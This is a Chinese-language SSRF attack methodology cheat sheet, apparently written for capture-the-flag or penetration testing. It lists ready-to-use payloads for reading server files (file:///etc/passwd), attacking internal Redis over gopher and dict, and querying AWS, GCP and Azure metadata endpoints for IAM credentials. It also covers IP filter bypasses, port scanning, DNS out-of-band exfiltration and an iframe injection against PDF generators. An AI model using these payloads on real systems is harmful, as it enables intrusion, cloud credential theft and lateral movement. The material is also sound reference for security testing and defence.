SSRF 攻击方法论
深入参考
- IP 过滤绕过完整列表、云元数据路径、协议利用详细命令 → references/ssrf-bypass.md
- 云 SSRF 进阶(容器/Serverless 凭据/K8s 横向/绕过技术) → references/cloud-ssrf.md
- Gopher 协议 payload 生成与实战组合链 → references/gopherus-payloads.md
Phase 1: 发现 SSRF 入口
参数名线索(高度可疑):
url, uri, path, src, dest, redirect, callback, next, data, reference, site, html, imageUrl, feed, target, proxy, link
功能线索:URL 预览、PDF/图片生成(wkhtmltopdf, puppeteer)、Webhook、远程图片获取、RSS 导入
Phase 2: 基础 SSRF 验证
url=http://127.0.0.1/
url=http://localhost/
url=http://127.0.0.1:PORT/
响应差异判断:内容变化 → 有回显 SSRF | 只有状态码 → 半盲 | 无差异 → 全盲
陷阱:应用可能过滤 127.0.0.1 但放行变体 → 需要绕过(references/ssrf-bypass.md)
Phase 3: 协议利用速查
url=file:///etc/passwd # 文件读取(最高价值)
url=file:///flag.txt
url=gopher://127.0.0.1:6379/ # 攻击内部 Redis(⚠️ PHP curl 可用, Python requests 不可用)
url=dict://127.0.0.1:6379/info
Phase 4: 云元数据速查
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP (需 Header)
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure (需 Header)
Phase 5: 利用决策树
SSRF 入口确认
├─ 有回显? → 直接读内容/探测端口
│ ├─ file:// 可用? → 读取敏感文件(/etc/passwd, /flag.txt, /app/config.py)
│ ├─ 云环境? → 查询元数据获取凭据 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
│ └─ 内网服务? → 探测 Redis/ES/MongoDB → gopher 利用
├─ 半盲/全盲?
│ ├─ 端口扫描 → 状态码/响应时间差异
│ └─ 外带 → DNS 外带 / 延时差异
├─ IP 过滤? → 编码绕过 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
└─ 协议限制? → 检查 HTTP-only vs 全协议
协议与库限制
不同实现支持的协议不同,不是所有 SSRF 都支持所有协议:
| 库/环境 | file:// | gopher:// | dict:// |
|---|---|---|---|
| PHP curl | ✅ | ✅ | ✅ |
| Python requests | ❌ | ❌ | ❌ |
| Python urllib | ✅ | ❌ | ❌ |
| Java URLConnection | ✅ | ❌ | ❌ |
| Node.js fetch | ❌ | ❌ | ❌ |
IP 短格式绕过:127.1、127.0.1(省略 0)
注意事项
- file:// 是最高价值协议:直接读取服务器文件
- Gopher 陷阱:PHP curl 支持 gopher,Python requests 不支持
- SSRF 和 XXE 经常组合:XXE 中的 SYSTEM 就是 SSRF
- PDF 生成器 SSRF:wkhtmltopdf/puppeteer 生成 PDF 时会加载外部资源,注入
<iframe src="file:///etc/passwd">或<img src="http://127.0.0.1/">